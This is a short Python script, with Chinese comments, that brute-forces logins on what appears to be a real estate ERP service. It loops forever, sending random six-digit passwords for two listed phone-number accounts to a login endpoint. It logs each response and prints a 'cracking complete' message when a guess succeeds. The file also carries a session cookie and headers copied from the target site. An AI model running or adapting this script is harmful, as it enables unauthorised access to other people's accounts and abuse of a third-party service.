import concurrent.futures
import json
import os
import random
import time

import pandas as pd
import requests

# 自定义请求头
headers = {
    'accept': 'application/json, text/javascript, */*; q=0.01',
    'request-from': '1',
    'Origin': 'https://erp.fangline.cn',
    'x-requested-with': 'XMLHttpRequest',
    'page-name': '/visit-house/house-list',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36',
    'cookie': 'JSESSIONID=84bcdb7a-7d48-42b7-b76e-e913810df702; guideStatus=6; SERVERID=f595ac9d48f8f7494ff45c92e36e47bc|1707043354|1707043351',
    'Content-Type': 'application/json',
    'Cache-Control': 'no-cache',
    'Postman-Token': '43d3c843-d672-4acd-b360-8454017874db',
    'Host': 'erp.fangline.cn',
    'Accept-Encoding': 'gzip, deflate, br',
    'Connection': 'keep-alive'
}

# 登录账号
username = ['15357420106', '18063055808']


while True:
    """打印结果
    """
    # 生成一个6位不重复的随机数字
    random_number = ''.join(random.sample('0123456789', k=6))

    for user in username:
        url = f'http://118.31.177.37/login/login-by-account-PC.json?mac=2C-6D-C1-8E-0C-A1&extMpAppid=&tel={user}&password={random_number}'
        response = requests.post(url, headers=headers)
        print(f'{user}请求成功{random_number}，返回：{response.text}')
        # {"code":1,"ok":true}
        # {"msg":"账号或密码错误","code":99,"data":null,"ok":false,"userId":null}
        result = response.json()
        if result['code'] == '1' and result['ok'] == True:
            print(f'{user}破解完成{random_number}，返回：{response.text}')
            break

        # 将请求结果追加到文本文件
        with open('result.txt', 'a') as file:
            file.write(response.text + '\n')

        time.sleep(0.1)
